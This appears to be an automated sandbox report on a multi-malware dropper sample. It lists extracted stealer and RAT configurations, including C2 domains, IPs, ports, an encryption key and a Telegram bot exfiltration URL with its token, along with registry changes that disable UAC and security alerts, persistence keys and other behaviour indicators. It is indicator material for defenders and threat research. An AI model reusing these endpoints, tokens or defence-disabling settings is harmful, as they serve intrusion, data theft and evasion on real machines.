ammyyadmin | e4ec3a45621dd556deeea5f953fa05909c82630e9f17baf6b14272a0360d62d1

Analysis

max time kernel
374s
max time network
614s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
20-11-2024 22:39

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

4363463463464363463463463.exe.zip
Size

4KB
MD5

16d34133af438a73419a49de605576d9
SHA1

c3dbcd70359fdad8835091c714a7a275c59bd732
SHA256

e4ec3a45621dd556deeea5f953fa05909c82630e9f17baf6b14272a0360d62d1
SHA512

59c0272d6faa2682b7a6ce1cd414d53cc39f06035f4f38a2e206965805034bf8012b02d59f428973965136d70c89f87ac3b17b5db9c1b1d49844be182b47a3d7
SSDEEP

96:xBf1inGx9SfZ+VCv3wlTDMQ1kyKXyyJNOBIKkNvL5qK+7zHf6MlYOQVPGmcEy:xBfwncSf8Cv3w9DZjKXjmBIKEvLs97D5

Malware Config

Extracted

Family

lumma

https://absorptioniw.site

https://mysterisop.site

https://snarlypagowo.site

https://treatynreit.site

https://chorusarorp.site

https://abnomalrkmu.site

https://soldiefieop.site

https://questionsmw.store

https://wrappyskmwio.store

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Extracted

Family

metasploit

Version

metasploit_stager

144.34.162.13:3333

Extracted

Family

cobaltstrike

http://89.197.154.115:7700/mdS9

Attributes

user_agent
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1)

Extracted

Family

cryptbot

fivexc5vt.top

analforeverlovyu.top

Attributes

url_path
/v1/upload.php

Extracted

Family

xworm

Version

5.0

nomorelife1.ddns.net:999

Mutex

RQyA6qFjTisp9KB8

Attributes

Install_directory
%AppData%
install_file
System.exe

aes.plain

Extracted

Family

quasar

Version

1.4.1

Botnet

sigorta

18.198.25.148:1604

Mutex

af7e773d-541a-46fd-87d3-06bb0a26aab9

Attributes

encryption_key
D306945220105109C86E6E257D749CE885E76091
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Extracted

Family

redline

38.180.203.208:14238

Extracted

Family

stealc

Botnet

default_valenciga

http://185.215.113.17

Attributes

url_path
/2fb6c2cc8dce150a.php

Extracted

Family

redline

Botnet

091024

185.215.113.67:33160

Extracted

Family

gurcu

https://api.telegram.org/bot7382558274:AAFZkCVTgYkuRWqDruBGK0C9eAD8ZoE6BOs/sendMessage?chat_id=966649672

Signatures

Ammyy Admin
Remote admin tool with various capabilities.
rat ammyyadmin

AmmyyAdmin payload 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\Files\AA_v3.5.exe	family_ammyyadmin

Ammyyadmin family
ammyyadmin
Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike
Cobaltstrike family
cobaltstrike
CryptBot
CryptBot is a C++ stealer distributed widely in bundle with other software.
spyware stealer cryptbot
Cryptbot family
cryptbot

Detect Xworm Payload 5 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\Files\XClient.exe	family_xworm
behavioral2/memory/1540-1991-0x0000000000FC0000-0x0000000000FD0000-memory.dmp	family_xworm
C:\ProgramData\service.exe	family_xworm
C:\Users\Admin\Desktop\Files\System.exe	family_xworm
C:\Users\Admin\Desktop\Files\._cache_System.exe	family_xworm

FlawedAmmyy RAT
Remote-access trojan based on leaked code for the Ammyy remote admin software.
trojan flawedammyy
Flawedammyy family
flawedammyy
Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Processes:

sysklnorbcv.exesysvplervcs.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysvplervcs.exe

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport
Netsupport family
netsupport
Phorphiex family
phorphiex

Phorphiex payload 5 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\Files\t2.exe	family_phorphiex
C:\Windows\sysnldcvmr.exe	family_phorphiex
C:\Users\Admin\Desktop\Files\r.exe	family_phorphiex
C:\Users\Admin\Desktop\Files\tdrpload.exe	family_phorphiex
C:\Users\Admin\Desktop\Files\11.exe	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\Files\aa.exe	family_quasar
behavioral2/memory/5504-2347-0x00000000000B0000-0x00000000003D4000-memory.dmp	family_quasar
C:\Users\Admin\Desktop\Files\CleanerV2.exe	family_quasar

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 9 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\Files\anticheat.exe	family_redline
behavioral2/memory/1832-2442-0x0000000000B30000-0x0000000000B82000-memory.dmp	family_redline
C:\Users\Admin\Desktop\Files\penis.exe	family_redline
behavioral2/memory/7048-2767-0x0000000000BF0000-0x0000000000C42000-memory.dmp	family_redline
C:\Users\Admin\Desktop\Files\buildred.exe	family_redline
C:\ProgramData\windows.exe	family_redline
C:\Users\Admin\Desktop\Files\14082024.exe	family_redline
C:\Users\Admin\Desktop\Files\newbundle2.exe	family_redline
C:\Users\Admin\Desktop\Files\25072023.exe	family_redline

Redline family
redline
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

Processes:

resource	yara_rule
C:\ProgramData\windows.exe	family_sectoprat

Sectoprat family
sectoprat
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

2165934757.exewinupsecvmgr.exe

description	pid	process	target process
PID 4700 created 3332	4700	2165934757.exe	Explorer.EXE
PID 4700 created 3332	4700	2165934757.exe	Explorer.EXE
PID 2516 created 3332	2516	winupsecvmgr.exe	Explorer.EXE
PID 2516 created 3332	2516	winupsecvmgr.exe	Explorer.EXE
PID 2516 created 3332	2516	winupsecvmgr.exe	Explorer.EXE

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe

Windows security bypass 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

sysklnorbcv.exesysvplervcs.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysvplervcs.exe

Xmrig family
xmrig
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

13456 bcdedit.exe
15076 bcdedit.exe

pid	process
13456	bcdedit.exe
15076	bcdedit.exe

XMRig Miner payload 3 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/2516-1948-0x00007FF617100000-0x00007FF617697000-memory.dmp	xmrig
behavioral2/memory/3876-2003-0x00007FF734600000-0x00007FF734DEF000-memory.dmp	xmrig
behavioral2/memory/3876-2100-0x00007FF734600000-0x00007FF734DEF000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

180 2376 powershell.exe

flow	pid	process
180	2376	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 26 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
10340	powershell.exe
96576	powershell.exe
408	powershell.exe
1540	powershell.exe
4816	powershell.exe
5912	powershell.exe
33804	powershell.exe
22492	powershell.exe
6716	powershell.exe
27516	powershell.exe
19848	powershell.exe
89868	powershell.exe
5312	powershell.exe
5340	powershell.exe
32356	powershell.exe
6136	powershell.exe
33480	powershell.exe
220	powershell.exe
5984	powershell.exe
3860	powershell.exe
5556	powershell.exe
3788	powershell.exe
3044	powershell.exe
5680	powershell.exe
21204	powershell.exe
2376	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Modifies Windows Firewall 2 TTPs 5 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

pid process

37092 netsh.exe
32596 netsh.exe
6528 netsh.exe
97068 netsh.exe
41148 netsh.exe
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

3756 attrib.exe
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

pid	process
37092	netsh.exe
32596	netsh.exe
6528	netsh.exe
97068	netsh.exe
41148	netsh.exe

pid	process
3756	attrib.exe

.NET Reactor proctector 5 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

Processes:

resource	yara_rule
behavioral2/memory/2748-1966-0x0000000000780000-0x0000000002188000-memory.dmp	net_reactor
behavioral2/memory/2748-1967-0x0000000000780000-0x0000000002188000-memory.dmp	net_reactor
behavioral2/memory/2748-2053-0x0000000000780000-0x0000000002188000-memory.dmp	net_reactor
behavioral2/memory/2748-2054-0x0000000000780000-0x0000000002188000-memory.dmp	net_reactor
behavioral2/memory/2748-2121-0x0000000000780000-0x0000000002188000-memory.dmp	net_reactor

A potential corporate email address has been identified in the URL: [email protected]
phishing

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

Processes:

resource	yara_rule
C:\Program Files (x86)\MountTaiSoftware\Lodop\CAOSOFT_WEB_PRINT_lodop.ocx	acprotect

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\Files\me.exe	aspack_v212_v242

Drops startup file 4 IoCs

Processes:

explorer.exeXClient.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.lnk	explorer.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.lnk	explorer.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	XClient.exe

Executes dropped EXE 53 IoCs

Processes:

4363463463464363463463463.exe4363463463464363463463463.exet2.exenpp.exeMajesticExec.exePrototype.exepornhub_downloader.exesysklnorbcv.exePORNHU~1.EXEEdge.exeEdge.exe169111223.exesysnldcvmr.exeLgendPremium.exeSession.exe1_encoded.exeDOC.exetest.exe4363463463464363463463463.exepei.exe95762703.exe1972015818.exe1539323472.exe1353228420.exe4363463463464363463463463.exe4363463463464363463463463.exe1865811931.exejp.exeIndentif.exe1985119686.exe4363463463464363463463463.exe274832902.exeAA_v3.5.exeAA_v3.5.exe2165934757.exeAA_v3.5.exe2.exeOffice2024.exeaaa.exe2361911410.exer.exes.exesysvplervcs.exewinupsecvmgr.exe218042625.exeexplorer.exeSingerJudy.exeXClient.exeyoyf.exev7wa24td.exerzyyvjydedax.exetor-real.exeCouncils.pif

pid	process
564	4363463463464363463463463.exe
3124	4363463463464363463463463.exe
2420	t2.exe
4456	npp.exe
3020	MajesticExec.exe
3280	Prototype.exe
2228	pornhub_downloader.exe
3572	sysklnorbcv.exe
4512	PORNHU~1.EXE
3640	Edge.exe
2308	Edge.exe
3128	169111223.exe
5108	sysnldcvmr.exe
1684	LgendPremium.exe
4728	Session.exe
848	1_encoded.exe
248	DOC.exe
5068	test.exe
1052	4363463463464363463463463.exe
1652	pei.exe
4948	95762703.exe
2580	1972015818.exe
696	1539323472.exe
1992	1353228420.exe
3604	4363463463464363463463463.exe
2828	4363463463464363463463463.exe
2800	1865811931.exe
2980	jp.exe
3440	Indentif.exe
1840	1985119686.exe
4728	4363463463464363463463463.exe
2732	274832902.exe
2548	AA_v3.5.exe
4344	AA_v3.5.exe
4700	2165934757.exe
4932	AA_v3.5.exe
4612	2.exe
4800	Office2024.exe
3416	aaa.exe
1956	2361911410.exe
244	r.exe
3196	s.exe
2980	sysvplervcs.exe
2516	winupsecvmgr.exe
5000	218042625.exe
2748	explorer.exe
4960	SingerJudy.exe
1540	XClient.exe
5224	yoyf.exe
5424	v7wa24td.exe
5892	rzyyvjydedax.exe
3496	tor-real.exe
5128	Councils.pif

Loads dropped DLL 15 IoCs

Processes:

test.exetor-real.exe

pid	process
5068	test.exe
5068	test.exe
5068	test.exe
5068	test.exe
5068	test.exe
3496	tor-real.exe
3496	tor-real.exe
3496	tor-real.exe
3496	tor-real.exe
3496	tor-real.exe
3496	tor-real.exe
3496	tor-real.exe
3496	tor-real.exe
3496	tor-real.exe
3496	tor-real.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002

VMProtect packed file 4 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\Files\svchost.exe	vmprotect
behavioral2/memory/5868-2390-0x00007FF7507B0000-0x00007FF7509E5000-memory.dmp	vmprotect
behavioral2/memory/5868-2395-0x00007FF7507B0000-0x00007FF7509E5000-memory.dmp	vmprotect
C:\Users\Admin\Desktop\Files\%E8%88%9E%E8%B9%88%E5%8A%A9%E6%89%8B.exe	vmprotect

Windows security modification 2 TTPs 14 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

sysklnorbcv.exesysvplervcs.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe

Accesses Microsoft Outlook profiles 1 TTPs 9 IoCs

collection

Email Collection

T1114

Processes:

v7wa24td.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	v7wa24td.exe
Key opened	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	v7wa24td.exe
Key opened	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	v7wa24td.exe
Key opened	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	v7wa24td.exe
Key opened	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	v7wa24td.exe
Key opened	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	v7wa24td.exe
Key opened	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	v7wa24td.exe
Key opened	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	v7wa24td.exe
Key opened	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	v7wa24td.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

explorer.exet2.exe169111223.exer.exeXClient.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Windows\CurrentVersion\Run\explorer = "C:\\ProgramData\\explorer.exe"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysklnorbcv.exe"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysnldcvmr.exe"	169111223.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysvplervcs.exe"	r.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Windows\CurrentVersion\Run\System = "C:\\Users\\Admin\\AppData\\Roaming\\System.exe"	XClient.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 11 IoCs

Web Service

T1102

Processes:

flow	ioc
651	raw.githubusercontent.com
717	discord.com
158	raw.githubusercontent.com
356	raw.githubusercontent.com
418	pastebin.com
621	raw.githubusercontent.com
722	discord.com
157	raw.githubusercontent.com
417	pastebin.com
477	raw.githubusercontent.com
523	raw.githubusercontent.com

Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

690 ip-api.io
360 ip-api.com
683 ip-api.io
689 ip-api.com
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

flow	ioc
690	ip-api.io
360	ip-api.com
683	ip-api.io
689	ip-api.com

Power Settings 1 TTPs 12 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid	process
5404	powercfg.exe
1596	powercfg.exe
75592	powercfg.exe
75600	powercfg.exe
4736	powercfg.exe
5592	powercfg.exe
4828	powercfg.exe
75860	powercfg.exe
75828	powercfg.exe
1716	powercfg.exe
5600	powercfg.exe
4744	powercfg.exe

Drops file in System32 directory 5 IoCs

Processes:

AA_v3.5.exeOffice2024.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	AA_v3.5.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	AA_v3.5.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	AA_v3.5.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	AA_v3.5.exe
File opened for modification	C:\Windows\system32\MRT.exe	Office2024.exe

Enumerates processes with tasklist 1 TTPs 5 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exe

pid process

5924 tasklist.exe
2956 tasklist.exe
41932 tasklist.exe
37016 tasklist.exe
2320 tasklist.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

explorer.exe

pid process

2748 explorer.exe
2748 explorer.exe
2748 explorer.exe

pid	process
5924	tasklist.exe
2956	tasklist.exe
41932	tasklist.exe
37016	tasklist.exe
2320	tasklist.exe

pid	process
2748	explorer.exe
2748	explorer.exe
2748	explorer.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

winupsecvmgr.exe

description	pid	process	target process
PID 2516 set thread context of 2976	2516	winupsecvmgr.exe	conhost.exe
PID 2516 set thread context of 3876	2516	winupsecvmgr.exe	dwm.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\Files\ipscan221.exe	upx
behavioral2/memory/2232-2824-0x0000000000400000-0x000000000044B000-memory.dmp	upx
C:\Users\Admin\Desktop\Files\install_lodop32.exe	upx
behavioral2/memory/5248-2851-0x0000000000400000-0x00000000006F2000-memory.dmp	upx
behavioral2/memory/5248-2857-0x0000000067EA0000-0x00000000683A0000-memory.dmp	upx
C:\Program Files (x86)\MountTaiSoftware\Lodop\CAOSOFT_WEB_PRINT_lodop.ocx	upx

Drops file in Windows directory 13 IoCs

Processes:

setup.exet2.exe169111223.exer.exeSingerJudy.exechrome.exesetup.exe

description	ioc	process
File opened for modification	C:\Windows\SystemTemp\Crashpad\settings.dat	setup.exe
File created	C:\Windows\sysklnorbcv.exe	t2.exe
File opened for modification	C:\Windows\sysnldcvmr.exe	169111223.exe
File opened for modification	C:\Windows\sysvplervcs.exe	r.exe
File opened for modification	C:\Windows\MatchedThem	SingerJudy.exe
File opened for modification	C:\Windows\CrackBride	SingerJudy.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	setup.exe
File created	C:\Windows\sysnldcvmr.exe	169111223.exe
File created	C:\Windows\sysvplervcs.exe	r.exe
File opened for modification	C:\Windows\DemonstrationCult	SingerJudy.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\metadata	setup.exe
File opened for modification	C:\Windows\sysklnorbcv.exe	t2.exe

Launches sc.exe 39 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
3352	sc.exe
5836	sc.exe
2684	sc.exe
89772	sc.exe
3544	sc.exe
912	sc.exe
6292	sc.exe
32200	sc.exe
5044	sc.exe
5876	sc.exe
3568	sc.exe
35416	sc.exe
5240	sc.exe
4936	sc.exe
4464	sc.exe
5412	sc.exe
848	sc.exe
1628	sc.exe
6072	sc.exe
4380	sc.exe
5460	sc.exe
3496	sc.exe
5452	sc.exe
5824	sc.exe
2108	sc.exe
18196	sc.exe
2264	sc.exe
1640	sc.exe
1336	sc.exe
1796	sc.exe
5680	sc.exe
7132	sc.exe
22136	sc.exe
4580	sc.exe
1412	sc.exe
5268	sc.exe
5476	sc.exe
1220	sc.exe
5988	sc.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
defense_evasion privilege_escalation

Create Process with Token
T1134.002

Processes:

mshta.exe

pid process

4684 mshta.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

pid	process
4684	mshta.exe

Detects Pyinstaller 3 IoCs

pyinstaller

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\Files\zx.exe	pyinstaller
C:\Users\Admin\Desktop\Files\rat.exe	pyinstaller
C:\Users\Admin\Desktop\Files\lazagne.exe	pyinstaller

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\Files\te3tlsre.exe	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 5 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
7536	5364	WerFault.exe	build_2024-07-25_20-56.exe
10088	7752	WerFault.exe	CnyvVl.exe
51892	6972	WerFault.exe	stealc_default2.exe
13124	28324	WerFault.exe	key.exe
36560	76340	WerFault.exe	xworm.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

